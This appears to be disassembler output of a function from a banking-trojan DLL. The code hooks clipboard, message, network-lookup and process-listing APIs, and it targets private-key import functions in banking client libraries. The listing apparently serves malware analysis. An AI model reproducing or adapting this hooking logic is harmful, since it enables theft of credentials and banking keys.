Function at 0x10015720
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x10003a20
push 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
mov eax, 0x1004fda8
push 0
push 0
mov dword [0x1004fdac], eax
mov dword [0x1004fda8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x1001a7b0
push 0
push 0
mov dword [0x1004fca4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100157c8
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100157c8
test byte [ebp - 4], 2
jne 0x100157c8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x1004fb50
call ebx
call fcn.10012570
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push 0
push 0
push str.user32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10015811
push str.GetClipboardData
push eax
call edi
test eax, eax
je 0x10015811
push 0x10059efc
push 0x10013220
push eax
call fcn.1001a540
push 0
push 0
push str.user32.dll
call esi
mov esi, eax
test esi, esi
je 0x10015876
push 0x10049900
push esi
call edi
test eax, eax
je 0x10015876
push 0x1005a00c
push 0x100142a0
push eax
call fcn.1001a540
push str.GetMessageA
push esi
call edi
test eax, eax
je 0x10015876
push 0x1005a010
push 0x100143d0
push eax
call fcn.1001a540
push str.GetMessageW
push esi
call edi
test eax, eax
je 0x10015876
push 0x1005a014
push 0x10014500
push eax
call fcn.1001a540
push 0x1004fb38
call ebx
push 0x1004627c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100158a8
push str.ZwQuerySystemInformation
push eax
call edi
test eax, eax
je 0x100158a8
push 0x10059e88
push 0x100079e0
push eax
call fcn.1001a540
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10024880
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, dword [sym.imp.USER32.dll_GetUserObjectInformationA]
test eax, eax
je 0x10015902
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x10015902
push 0x1005b014
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10015902
call fcn.10008560
jmp 0x10015931
push 0
push 0
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x10015931
push 0x100492e4
push eax
call edi
test eax, eax
je 0x10015931
push 0x1004eb74
push 0x1000bb50
push eax
call fcn.1001a540
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10024880
test eax, eax
je 0x1001597c
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x1001597c
push 0x1005b014
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10015ae7
cmp dword [ebp + 8], 0
jne 0x10015ae7
call fcn.10019820
call fcn.10001660
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.java
lea ecx, [ebp - 0x108]
push ecx
call esi
test eax, eax
je 0x100159be
push str..exe
lea edx, [ebp - 0x108]
push edx
call esi
test eax, eax
jne 0x10015ae7
push str.frd.exe
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
jne 0x10015ae7
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push eax
push eax
push str.ws2_32.dll
call ebx
mov esi, eax
test esi, esi
je 0x10015a3d
push str.getaddrinfo
push esi
call edi
test eax, eax
je 0x10015a05
push 0x10059c5c
push 0x10005940
push eax
call fcn.1001a540
push str.gethostbyname
push esi
call edi
test eax, eax
je 0x10015a21
push 0x10059d64
push 0x10005a20
push eax
call fcn.1001a540
push str.inet_addr
push esi
call edi
test eax, eax
je 0x10015a3d
push 0x10059e6c
push 0x10005b50
push eax
call fcn.1001a540
push 0x1004fb20
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, 0x1004fb18
mov dword [0x1004fb1c], eax
mov dword [0x1004fb18], eax
call fcn.10011900
call fcn.10011190
call fcn.1000ff90
push 0
push 0
push str.sks2xyz.dll
call ebx
test eax, eax
je 0x10015a91
push str.vb_pfx_import
push eax
call edi
test eax, eax
je 0x10015a91
push 0x1005a298
push 0x1001f030
push eax
call fcn.1001a540
push 0
push 0
push str.FilialRCon.dll
call ebx
test eax, eax
je 0x10015abc
push str.RCN_R50Buffer
push eax
call edi
test eax, eax
je 0x10015abc
push 0x1005a2c0
push 0x10021f50
push eax
call fcn.1001a540
push 0
push 0
push str.mespro.dll
call ebx
test eax, eax
je 0x10015ae7
push str.AddPSEPrivateKeyEx
push eax
call edi
test eax, eax
je 0x10015ae7
push 0x1005a2d4
push 0x10023dd0
push eax
call fcn.1001a540
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4